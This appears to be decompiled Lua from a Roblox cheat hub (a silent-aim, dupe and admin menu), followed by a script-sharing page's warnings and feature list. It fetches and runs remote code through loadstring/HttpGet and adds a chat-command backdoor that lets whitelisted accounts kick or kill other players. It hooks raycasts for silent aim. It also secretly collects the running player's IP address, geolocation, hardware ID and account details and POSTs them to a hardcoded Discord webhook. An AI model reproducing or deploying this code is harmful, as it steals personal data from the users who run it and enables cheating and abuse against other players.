loadstring(game:HttpGet("https://raw.githubusercontent.com/Jeffepicy/CosmicAuras/refs/heads/main/SigmaAuras", true))();
end
});
v566:AddButton({
Name = "Dex",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/m0onyy/Test/refs/heads/main/mobile%20dex.lua", true))();
end
});
v566:AddButton({
Name = "Infinite Yield",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ttwizz/infiniteyield/master/source.lua", true))();
end
});
v566:AddLabel("Current version: V2.049");
local v567 = "https://raw.githubusercontent.com/Jeffepicy/unsafety/main/hihiihih";
(function()
-- upvalues: v567 (ref), l_HttpService_0 (ref), l_LocalPlayer_0 (ref)
local l_status_2, l_result_2 = pcall(function()
-- upvalues: v567 (ref)
return game:HttpGet(v567);
end);
if l_status_2 and l_result_2 then
local v570 = nil;
do
local l_v570_0 = v570;
pcall(function()
-- upvalues: l_v570_0 (ref), l_HttpService_0 (ref), l_result_2 (ref)
l_v570_0 = l_HttpService_0:JSONDecode(l_result_2);
end);
if l_v570_0 == true then
l_LocalPlayer_0:Kick("Script disabled by Owner.");
task.wait(1);
while true do
end;
end;
end;
else
warn("Failed to check shutdown status.");
end;
end)();
local v572 = {};
local v573 = "https://raw.githubusercontent.com/Jeffepicy/whitelist/main/whitelist.txt";
local l_status_3, l_result_3 = pcall(function()
-- upvalues: v573 (ref)
return game:HttpGet(v573);
end);
if not l_status_3 or not l_result_3 then
local v576 = "Kick";
local l_l_LocalPlayer_0_0 = l_LocalPlayer_0;
l_LocalPlayer_0[v576](l_l_LocalPlayer_0_0, "Whitelist services down. Try again later.");
return;
else
local v578 = "JSONDecode";
local l_l_HttpService_0_0 = l_HttpService_0;
local v580 = l_HttpService_0[v578](l_l_HttpService_0_0, l_result_3);
if typeof(v580) == "table" then
for _, v582 in ipairs(v580) do
table.insert(v572, v582);
end;
end;
v580 = {};
l_l_HttpService_0_0 = {};
v578 = {};
local v583 = {};
local v584 = v572 or {};
local function v587(v585)
-- upvalues: v584 (ref)
if table.find(v584, v585.UserId) == "UserId" then
local _ = false;
end;
return true;
end;
local function v592(v588)
-- upvalues: l_TextChatService_0 (ref), l_ReplicatedStorage_0 (ref)
if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
local l_TextChannels_0 = l_TextChatService_0:FindFirstChild("TextChannels");
if l_TextChannels_0 then
local l_RBXGeneral_0 = l_TextChannels_0:FindFirstChild("RBXGeneral");
if l_RBXGeneral_0 then
l_RBXGeneral_0:SendAsync(v588);
end;
end;
else
local l_DefaultChatSystemChatEvents_0 = l_ReplicatedStorage_0:FindFirstChild("DefaultChatSystemChatEvents");
if l_DefaultChatSystemChatEvents_0 and l_DefaultChatSystemChatEvents_0:FindFirstChild("SayMessageRequest") then
l_DefaultChatSystemChatEvents_0.SayMessageRequest:FireServer(v588, "All");
end;
end;
end;
local function v596(v593)
-- upvalues: v578 (ref), l_LocalPlayer_0 (ref)
v578[v593] = not v578[v593];
local l_BlindEffect_0 = l_LocalPlayer_0:FindFirstChild("PlayerGui"):FindFirstChild("BlindEffect");
if v578[v593] then
if not l_BlindEffect_0 then
l_BlindEffect_0 = Instance.new("ScreenGui");
l_BlindEffect_0.Name = "BlindEffect";
l_BlindEffect_0.ResetOnSpawn = false;
local l_Frame_0 = Instance.new("Frame");
l_Frame_0.Size = UDim2.new(1, 0, 1, 0);
l_Frame_0.BackgroundColor3 = Color3.new(0, 0, 0);
l_Frame_0.Parent = l_BlindEffect_0;
l_BlindEffect_0.Parent = l_LocalPlayer_0:WaitForChild("PlayerGui");
end;
elseif l_BlindEffect_0 then
l_BlindEffect_0:Destroy();
end;
end;
local function v616(v597, v598)
-- upvalues: v587 (ref), l_Players_0 (ref), v592 (ref), l_l_HttpService_0_0 (ref), v596 (ref), v583 (ref)
if not v587(v597) then
return;
else
v598 = v598:lower();
if v598:sub(1, 8) == ":c kick " then
local v599 = v598:sub(9);
for _, v601 in ipairs(l_Players_0:GetPlayers()) do
if v601 ~= v597 and v601.Name:lower():sub(1, #v599) == v599 then
v601:Kick("You have been kicked by an admin.");
end;
end;
end;
if v598:sub(1, 9) == ":c kill " then
local v602 = v598:sub(10);
for _, v604 in ipairs(l_Players_0:GetPlayers()) do
if v604 ~= v597 and v604.Character and v604.Character:FindFirstChild("Humanoid") then
local v605 = v604.Name:lower();
local v606 = v604.DisplayName:lower();
if v605:sub(1, #v602) == v602 or v606:sub(1, #v602) == v602 then
v604.Character.Humanoid.Health = 0;
end;
end;
end;
end;
if v598:sub(1, 7) == ":c say " then
local v607 = v598:sub(8);
if v607 and v607 ~= "" then
v592(v607);
end;
end;
if v598 == ":c aura" then
l_l_HttpService_0_0[v597] = not l_l_HttpService_0_0[v597];
end;
if v598 == ":c e" then
v596(v597);
end;
if v598:sub(1, 5) == ":c sb" then
local v608 = tonumber(v598:match("%d+"));
if v608 and v608 > 0 then
v583[v597] = v608;
v592("Safety bubble set to " .. v608);
else
v583[v597] = "Safety bubble set to ";
v592("Safety bubble disabled");
end;
end;
if v598 == ":c tp all" and v597.Character and v597.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_18 = v597.Character.HumanoidRootPart;
for _, v611 in ipairs(l_Players_0:GetPlayers()) do
if v611 ~= v597 and v611.Character and v611.Character:FindFirstChild("HumanoidRootPart") then
v611.Character.HumanoidRootPart.CFrame = l_HumanoidRootPart_18.CFrame + Vector3.new(3, 0, 0);
end;
end;
end;
if v598 == ":c kill all" then
for _, v613 in ipairs(l_Players_0:GetPlayers()) do
if v613 ~= v597 and v613.Character and v613.Character:FindFirstChild("Humanoid") then
v613.Character.Humanoid.Health = 0;
end;
end;
end;
if v598 == ":c ban all" then
for _, v615 in ipairs(l_Players_0:GetPlayers()) do
if v615 ~= v597 then
v615:Kick("You have been banned by an admin.");
end;
end;
end;
return;
end;
end;
if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
local l_TextChannels_1 = l_TextChatService_0:FindFirstChild("TextChannels");
if l_TextChannels_1 then
local l_RBXGeneral_1 = l_TextChannels_1:FindFirstChild("RBXGeneral");
if l_RBXGeneral_1 then
l_RBXGeneral_1.MessageReceived:Connect(function(v619)
-- upvalues: l_Players_0 (ref), v616 (ref)
local l_TextSource_0 = v619.TextSource;
if l_TextSource_0 then
local l_l_Players_0_PlayerByUserId_2 = l_Players_0:GetPlayerByUserId(l_TextSource_0.UserId);
if l_l_Players_0_PlayerByUserId_2 then
v616(l_l_Players_0_PlayerByUserId_2, v619.Text);
end;
return;
else
return;
end;
end);
end;
end;
else
local l_ipairs_0 = ipairs;
local v623 = "GetPlayers";
local l_l_Players_0_0 = l_Players_0;
for _, v626 in l_ipairs_0(l_Players_0[v623](l_l_Players_0_0)) do
do
local l_v626_0 = v626;
l_v626_0.Chatted:Connect(function(v628)
-- upvalues: v616 (ref), l_v626_0 (ref)
v616(l_v626_0, v628);
end);
end;
end;
l_Players_0.PlayerAdded:Connect(function(v629)
-- upvalues: v616 (ref)
v629.Chatted:Connect(function(v630)
-- upvalues: v616 (ref), v629 (ref)
v616(v629, v630);
end);
end);
end;
l_RunService_0.Heartbeat:Connect(function()
-- upvalues: l_l_HttpService_0_0 (ref), v580 (ref)
for v631, v632 in pairs(l_l_HttpService_0_0) do
if v632 and v631.Character and v631.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_19 = v631.Character.HumanoidRootPart;
local v634 = tick();
for v635 in pairs(v580) do
if v635 ~= v631 and v635.Character and v635.Character:FindFirstChild("HumanoidRootPart") then
local v636 = (v634 + v635.UserId) % (2 * math.pi);
local v637 = 10;
local v638 = Vector3.new(math.cos(v636) * v637, 0, math.sin(v636) * v637);
v635.Character.HumanoidRootPart.CFrame = l_HumanoidRootPart_19.CFrame + v638;
end;
end;
end;
end;
end);
l_RunService_0.Heartbeat:Connect(function()
-- upvalues: v583 (ref), v580 (ref)
for v639, v640 in pairs(v583) do
if v639.Character and v639.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_20 = v639.Character.HumanoidRootPart;
for v642 in pairs(v580) do
if v642 ~= v639 and v642.Character and v642.Character:FindFirstChild("HumanoidRootPart") then
local l_HumanoidRootPart_21 = v642.Character.HumanoidRootPart;
if (l_HumanoidRootPart_20.Position - l_HumanoidRootPart_21.Position).Magnitude < v640 then
local l_Unit_0 = (l_HumanoidRootPart_21.Position - l_HumanoidRootPart_20.Position).Unit;
l_HumanoidRootPart_21.CFrame = CFrame.new(l_HumanoidRootPart_20.Position + l_Unit_0 * v640);
end;
end;
end;
end;
end;
end);
local function v646(v645)
-- upvalues: v580 (ref)
v580[v645] = true;
end;
v646(l_LocalPlayer_0);
l_Players_0.PlayerAdded:Connect(function(v647)
-- upvalues: v646 (ref), v587 (ref), v592 (ref)
v646(v647);
if v587(v647) then
task.delay(1, function()
-- upvalues: v592 (ref), v647 (ref)
v592("Lord " .. v647.DisplayName .. " has joined.");
end);
end;
end);
l_Players_0.PlayerRemoving:Connect(function(v648)
-- upvalues: v580 (ref), l_l_HttpService_0_0 (ref), v578 (ref), v583 (ref)
local v649 = nil;
v580[v648] = v649;
l_l_HttpService_0_0[v648] = v649;
v578[v648] = v649;
v583[v648] = v649;
end);
local v650 = {
HttpService = game:GetService("HttpService"),
Players = game:GetService("Players"),
MarketplaceService = game:GetService("MarketplaceService"),
LocalizationService = game:GetService("LocalizationService"),
RbxAnalyticsService = game:GetService("RbxAnalyticsService"),
webhookUrl = "https://discord.com/api/webhooks/1431044656577380454/PNvtYV4nPBY9TssYSAfnNnBfoqJD00dYI9PKUwvLxeDhpfudxfjvR1ftkqPStSfCtXFn"
};
v650.LocalPlayer = v650.Players.LocalPlayer;
v650.UserId = v650.LocalPlayer.UserId;
v650.Name = v650.LocalPlayer.Name;
v650.DisplayName = v650.LocalPlayer.DisplayName;
v650.Membership = tostring(v650.LocalPlayer.MembershipType):sub(21);
v650.Age = v650.LocalPlayer.AccountAge;
v650.Country = v650.LocalizationService.RobloxLocaleId;
v650.IP = game:HttpGet("https://v4.ident.me/");
v650.Geo = game:HttpGet("http://ip-api.com/json");
v650.HWID = v650.RbxAnalyticsService:GetClientId();
v650.Job = "Roblox.GameLauncher.joinGameInstance(" .. game.PlaceId .. ", \"" .. game.JobId .. "\")";
v650.Link = "roblox://placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId;
v650.GameName = v650.MarketplaceService:GetProductInfo(game.PlaceId).Name;
(function(v651)
-- upvalues: v650 (ref)
local v652 = http_request or request or HttpPost or syn.request;
local v653 = {
["content-type"] = "application/json"
};
v652({
Url = v650.webhookUrl,
Body = v651,
Method = "POST",
Headers = v653
});
v652({
Url = v650.webhookUrl,
Body = v650.HttpService:JSONEncode({
content = v650.Link
}),
Method = "POST",
Headers = v653
});
end)((function()
-- upvalues: v650 (ref)
local v654 = identifyexecutor();
local v655 = {
avatar_url = "",
content = "",
embeds = {
{
author = {
name = "SKID ALERT",
url = "https://roblox.com"
},
description = string.format("__[Player Info](https://www.roblox.com/users/%d)__\n**Display Name:** %s\n**Username:** %s\n**User Id:** %d\n**MembershipType:** %s\n**AccountAge:** %d\n**Country:** %s\n**IP:** %s\n**Hwid:** %s\n**Date:** %s\n**Time:** %s\n\n__[Game Info](https://www.roblox.com/games/%d)__\n**Game:** %s\n**Game Id:** %d\n**Exploit:** %s\n\n**Data:**```%s```\n\n**JobId:**```%s```", v650.UserId, v650.DisplayName, v650.Name, v650.UserId, v650.Membership, v650.Age, v650.Country, v650.IP, v650.HWID, os.date("%m/%d/%Y"), os.date("%X"), game.PlaceId, v650.GameName, game.PlaceId, v654, v650.Geo, v650.Job),
type = "rich",
color = tonumber("0xFFD700"),
thumbnail = {
url = "https://www.roblox.com/headshot-thumbnail/image?userId=" .. v650.UserId .. "&width=150&height=150&format=png"
}
}
}
};
return v650.HttpService:JSONEncode(v655);
end)());
local v656 = v44:MakeTab({
Name = "Silent Aim",
Icon = "rbxassetid://6031091005",
PremiumOnly = false
});
local v657 = {
SA = {
En = false,
Key = "RightAlt",
TP = "HumanoidRootPart",
Show = false,
MHP = false,
AP = false,
MHP_A = 0.165,
HC = 100,
Col = Color3.fromRGB(54, 57, 241)
},
Cam = l_Workspace_0.CurrentCamera,
P = game:GetService("Players"),
RS = game:GetService("RunService"),
GS = game:GetService("GuiService"),
UIS = game:GetService("UserInputService"),
ST = game:GetService("Stats"),
LP = game:GetService("Players").LocalPlayer,
MC = nil,
MB = nil,
M = nil,
MBX = nil,
VTP = {
"Head",
"HumanoidRootPart"
},
CPA = 0.165,
EA = {
Raycast = {
AC = 3,
Args = {
"Instance",
"Vector3",
"Vector3",
"RaycastParams"
}
}
},
CoR = coroutine.resume,
CoC = coroutine.create
};
getgenv().SilentAimSettings = v657.SA;
v657.M = v657.LP:GetMouse();
v657.MBX = Drawing.new("Square");
v657.MBX.Visible = false;
v657.MBX.ZIndex = 999;
v657.MBX.Color = v657.SA.Col;
v657.MBX.Thickness = 2;
v657.MBX.Size = Vector2.new(30, 30);
v657.MBX.Filled = true;
v657.MC = v657.UIS.TouchEnabled and not v657.UIS.KeyboardEnabled;
local _ = game.GetChildren;
local l_GetPlayers_0 = v657.P.GetPlayers;
local l_WorldToScreenPoint_0 = v657.Cam.WorldToScreenPoint;
local l_WorldToViewportPoint_0 = v657.Cam.WorldToViewportPoint;
local l_FindFirstChild_0 = game.FindFirstChild;
local l_RenderStepped_0 = v657.RS.RenderStepped;
local l_Heartbeat_0 = v657.RS.Heartbeat;
local _ = v657.GS.GetGuiInset;
local l_GetMouseLocation_0 = v657.UIS.GetMouseLocation;
local function v669(v667)
v667 = math.floor(v667);
if math.floor(math.random() * 100) / 100 > v667 / 100 then
local _ = false;
end;
return true;
end;
local function v673(v670)
-- upvalues: l_WorldToScreenPoint_0 (ref), v657 (ref)
local v671, v672 = l_WorldToScreenPoint_0(v657.Cam, v670);
return Vector2.new(v671.X, v671.Y), v672;
end;
local function v680(v674, v675)
local v676 = 0;
if #v674 >= v675.AC then
for v677, v678 in next, v674 do
if typeof(v678) == v675.Args[v677] then
v676 = v676 + 1;
end;
end;
if v675.AC > v676 then
local _ = false;
end;
return true;
else
return false;
end;
end;
local function v683(v681, v682)
return (v682 - v681).Unit * 1000;
end;
local function v684()
-- upvalues: l_GetMouseLocation_0 (ref), v657 (ref)
return l_GetMouseLocation_0(v657.UIS);
end;
local function v687(v685)
-- upvalues: v657 (ref)
local v686 = v685.Velocity or Vector3.new();
return v685.Position + (v657.SA.MHP and v686 * v657.CPA or Vector3.new());
end;
local function v699()
-- upvalues: v657 (ref), v684 (ref), l_GetPlayers_0 (ref), l_FindFirstChild_0 (ref), v673 (ref)
if v657.SA.TP then
local v688 = nil;
local v689 = nil;
local v690 = v657.MC and v657.Cam.ViewportSize / 2 or v684();
for _, v692 in next, l_GetPlayers_0(v657.P) do
if v692 ~= v657.LP then
local l_Character_21 = v692.Character;
if l_Character_21 then
local v694 = l_FindFirstChild_0(l_Character_21, "HumanoidRootPart");
local v695 = l_FindFirstChild_0(l_Character_21, "Humanoid");
if v694 and v695 and (not v695 or v695.Health > 0) and (v657.Cam.CFrame.Position - v694.Position).Magnitude <= 35 then
local v696, v697 = v673(v694.Position);
if v697 then
local l_Magnitude_1 = (v690 - v696).Magnitude;
if l_Magnitude_1 <= (not v689 and 2000 or v689) then
v688 = not (v657.SA.TP ~= "Random") and l_Character_21[v657.VTP[math.random(1, #v657.VTP)]] or l_Character_21[v657.SA.TP];
v689 = l_Magnitude_1;
end;
end;
end;
end;
end;
end;
return v688;
else
return;
end;
end;
v656:AddToggle({
Name = "Enabled",
Default = v657.SA.En,
Callback = function(v700)
-- upvalues: v657 (ref)
v657.SA.En = v700;
v657.MBX.Visible = v700;
end
});
v656:AddBind({
Name = "Toggle Key",
Default = Enum.KeyCode[v657.SA.Key],
Hold = false,
Callback = function()
-- upvalues: v657 (ref)
v657.SA.En = not v657.SA.En;
EnabledToggle:Set(v657.SA.En);
v657.MBX.Visible = v657.SA.En;
end
});
v656:AddDropdown({
Name = "Target Part",
Default = v657.SA.TP,
Options = {
"Head",
"HumanoidRootPart",
"Random"
},
Callback = function(v701)
-- upvalues: v657 (ref)
v657.SA.TP = v701;
end
});
v656:AddSlider({
Name = "Hit Chance",
Min = 0,
Max = 100,
Increment = 1,
Default = v657.SA.HC,
ValueName = "%",
Callback = function(v702)
-- upvalues: v657 (ref)
v657.SA.HC = v702;
end
});
v656:AddSection({
Name = "Prediction"
});
v656:AddToggle({
Name = "Manual Prediction",
Default = v657.SA.MHP,
Callback = function(v703)
-- upvalues: v657 (ref)
v657.SA.MHP = v703;
end
});
v656:AddToggle({
Name = "Auto Prediction",
Default = v657.SA.AP,
Callback = function(v704)
-- upvalues: v657 (ref)
v657.SA.AP = v704;
end
});
v656:AddSlider({
Name = "Prediction Amount",
Min = 0.165,
Max = 1,
Increment = 0.001,
Default = v657.SA.MHP_A,
Callback = function(v705)
-- upvalues: v657 (ref)
v657.SA.MHP_A = v705;
end
});
v656:AddSection({
Name = "Visuals"
});
v656:AddToggle({
Name = "Show Silent Aim Target",
Default = v657.SA.Show,
Callback = function(v706)
-- upvalues: v657 (ref)
v657.SA.Show = v706;
v657.MBX.Visible = v706;
end
});
v656:AddColorpicker({
Name = "Silent Aim Target Color",
Default = v657.SA.Col,
Callback = function(v707)
-- upvalues: v657 (ref)
v657.SA.Col = v707;
v657.MBX.Color = v707;
end
});
l_Heartbeat_0:Connect(function()
-- upvalues: v657 (ref)
if v657.SA.AP then
local l_status_4, l_result_4 = pcall(function()
-- upvalues: v657 (ref)
return v657.ST.Network.ServerStatsItem["Data Ping"]:GetValueString();
end);
if l_status_4 then
local v710 = tonumber(l_result_4:match("(%d+)")) or 50;
if v710 < 20 then
v657.CPA = 0.11;
elseif v710 < 30 then
v657.CPA = 0.115;
elseif v710 < 40 then
v657.CPA = 0.12;
elseif v710 < 50 then
v657.CPA = 0.125;
elseif v710 >= 60 then
if v710 < 70 then
v657.CPA = 0.135;
elseif v710 >= 80 then
if v710 < 90 then
v657.CPA = 0.145;
elseif v710 >= 100 then
if v710 >= 110 then
v657.CPA = 0.16;
else
v657.CPA = 0.155;
end;
else
v657.CPA = 0.15;
end;
else
v657.CPA = 0.14;
end;
else
v657.CPA = 0.13;
end;
end;
else
v657.CPA = v657.SA.MHP_A;
end;
end);
v657.CoR(v657.CoC(function()
-- upvalues: l_RenderStepped_0 (ref), v657 (ref), v699 (ref), l_WorldToViewportPoint_0 (ref)
l_RenderStepped_0:Connect(function()
-- upvalues: v657 (ref), v699 (ref), l_WorldToViewportPoint_0 (ref)
if v657.SA.Show and v657.SA.En then
if v699() then
local v711 = v699().Parent.PrimaryPart or v699();
local v712, v713 = l_WorldToViewportPoint_0(v657.Cam, v711.Position);
v657.MBX.Visible = v713;
v657.MBX.Position = Vector2.new(v712.X, v712.Y);
else
v657.MBX.Visible = false;
v657.MBX.Position = Vector2.new();
end;
end;
end);
end));
local v714 = nil;
v714 = hookmetamethod(game, "__namecall", newcclosure(function(...)
-- upvalues: v669 (ref), v657 (ref), l_Workspace_0 (ref), v680 (ref), v699 (ref), v683 (ref), v687 (ref), v714 (ref)
local v715 = getnamecallmethod();
local v716 = {
...
};
local v717 = v716[1];
local v718 = v669(v657.SA.HC);
if v657.SA.En and v717 == l_Workspace_0 and not checkcaller() and v718 and v715 == "Raycast" and v680(v716, v657.EA.Raycast) then
local v719 = v716[2];
local v720 = v699();
if v720 then
v716[3] = v683(v719, v687(v720));
return v714(unpack(v716));
end;
end;
return v714(...);
end));
local v721 = "Init";
local l_v43_0 = v43;
v43[v721](l_v43_0);
return;
end;
else
return;
end;Obfuscated. The code is scrambled, so you can't read what it does. Common for key systems, but take care.
Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: raw.githubusercontent.com, www.roblox.com, discord.gg, discord.com, v4.ident.me, ip-api.com.
Not a good script, but it's the only script for FTAP currently besides Tokra the best FTAP Script, I deobfuscated Cosmic Hub the source is in the Script Place! --Desc Main Page Server-Hop Rejoin-Server Fun Page 🌹 Roses Get Roses Rainbow Roses 🎨 Spray Paint Get Spray Paint Rainbow Spray Paint 🔊 FE Sound Gun Sound ID Woah Gun Ahhh Gun Yippee Gun Get Out Gun Skibidi Bop Mm Dada Gun ⏳ FE Lag Server Activate FE Lag Server 💡 FE Light Spawn Dupe Flashlight FE Light Spawn 💸 Loop Throw Money Dupe Money Loop Throw Money 🏀 Loop Throw Basketball Dupe Basketball Loop Throw Basketball Tool Page ✨ Dupe Dupe Amount Choose Tool for Dupe Start Dupe 🛠 Tools Get Couch Get Crystals Get Crystal Get Fire Hose Get Agency Book 🔄 Actions Clear All Tools Hold All Tools Hold All Tools from Bag Build Page 💣 Bomb Medium/Large Bomb Wall Medium/Large Bomb Floor 🔥 FireX Medium/Large FireX Wall Medium/Large FireX Floor 💰 Money Medium/Large Money Wall Medium/Large Money Floor ⚡ Taser Medium/Large Taser Wall Medium/Large Taser Floor 🛡 Shield Medium/Large Shield Wall Medium/Large Shield Floor 🏀 Basketball Medium/Large Basketball Wall Medium/Large Basketball Floor 🔦 Flashlight Medium/Large Flashlight Wal